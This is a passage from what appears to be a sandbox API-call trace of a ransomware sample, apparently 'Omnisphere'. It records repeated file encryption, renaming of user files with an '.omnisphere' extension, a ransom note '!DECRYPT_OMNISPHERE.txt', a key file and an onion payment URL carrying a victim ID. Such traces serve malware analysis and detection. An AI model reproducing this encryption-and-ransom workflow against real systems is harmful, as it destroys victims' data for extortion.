pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.830] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.830] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.830] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.830] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.830] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.830] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.830] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.830] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.830] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.831] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.831] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.831] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.831] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.831] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.831] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.831] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.831] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.831] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.831] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.831] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.831] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.831] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.831] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.831] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.831] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.831] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.831] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.831] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.831] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.831] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.831] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.831] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.831] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.831] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.832] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.832] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.832] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.832] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.832] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.832] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.832] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.832] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.832] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.832] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.832] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.832] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.832] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.832] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.832] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.832] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.832] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.832] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.832] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.832] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.832] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.832] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.832] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.832] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.832] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.832] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.833] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.833] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.833] CryptDestroyKey (hKey=0x1639b68) returned 1 [0127.833] CryptReleaseContext (hProv=0x1668928, dwFlags=0x0) returned 1 [0127.833] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xa00, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0127.833] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0127.833] GetProcessHeap () returned 0x1600000 [0127.833] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x310) returned 0x1710b70 [0127.833] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\1b6ebacd7cd2f25a.automaticDestinations-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\1b6ebacd7cd2f25a.automaticdestinations-ms"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\1b6ebacd7cd2f25a.automaticDestinations-ms.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\1b6ebacd7cd2f25a.automaticdestinations-ms.omnisphere")) returned 1 [0127.834] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\1b6ebacd7cd2f25a.automaticDestinations-ms.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\1b6ebacd7cd2f25a.automaticDestinations-ms.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\1b6ebacd7cd2f25a.automaticDestinations-ms.omnisphere.id" [0127.834] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\1b6ebacd7cd2f25a.automaticDestinations-ms.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\1b6ebacd7cd2f25a.automaticdestinations-ms.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0127.834] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0127.835] CloseHandle (hObject=0x388) returned 1 [0127.835] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0127.836] CloseHandle (hObject=0x3c0) returned 1 [0127.836] SetEndOfFile (hFile=0x288) returned 1 [0127.836] FlushFileBuffers (hFile=0x288) returned 1 [0127.839] CloseHandle (hObject=0x288) returned 1 [0127.839] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\1b6ebacd7cd2f25a.automaticDestinations-ms" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned 1 [0127.839] GetProcessHeap () returned 0x1600000 [0127.839] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1710e88 [0127.839] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0127.839] GetProcessHeap () returned 0x1600000 [0127.839] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16f1ac8 [0127.839] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16f1ac8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0127.839] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0127.839] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0127.839] GetProcessHeap () returned 0x1600000 [0127.839] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1710580 [0127.839] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1710580, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0127.839] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0127.839] GetProcessHeap () returned 0x1600000 [0127.839] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xdc) returned 0x16f4798 [0127.839] PathCombineW (in: pszDest=0x16f4798, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt" [0127.840] GetProcessHeap () returned 0x1600000 [0127.840] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1709100 [0127.840] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0127.840] WriteFile (in: hFile=0x288, lpBuffer=0x1709100*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x1709100*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0127.840] CloseHandle (hObject=0x288) returned 1 [0127.840] GetProcessHeap () returned 0x1600000 [0127.840] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1710e88 | out: hHeap=0x1600000) returned 1 [0127.840] GetProcessHeap () returned 0x1600000 [0127.840] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd2) returned 0x1649080 [0127.840] PathCombineW (in: pszDest=0x1649080, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key" [0127.840] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0127.840] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0127.840] CloseHandle (hObject=0x288) returned 1 [0127.841] GetProcessHeap () returned 0x1600000 [0127.841] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1649080 | out: hHeap=0x1600000) returned 1 [0127.841] GetProcessHeap () returned 0x1600000 [0127.841] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x160e0d8 | out: hHeap=0x1600000) returned 1 [0127.841] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66a9610b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x66a9610b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x66a9610b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0xcc, cFileName="1bc9bbbe61f14501.automaticDestinations-ms", cAlternateFileName="1BC9BB~1.AUT")) returned 1 [0127.841] GetProcessHeap () returned 0x1600000 [0127.841] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x100) returned 0x160e0d8 [0127.841] PathCombineW (in: pszDest=0x160e0d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="1bc9bbbe61f14501.automaticDestinations-ms" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\1bc9bbbe61f14501.automaticDestinations-ms") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\1bc9bbbe61f14501.automaticDestinations-ms" [0127.841] StrStrW (lpFirst=".omnisphere", lpSrch=".automaticDestinations-ms") returned 0x0 [0127.841] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\1bc9bbbe61f14501.automaticDestinations-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\1bc9bbbe61f14501.automaticdestinations-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0127.842] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: 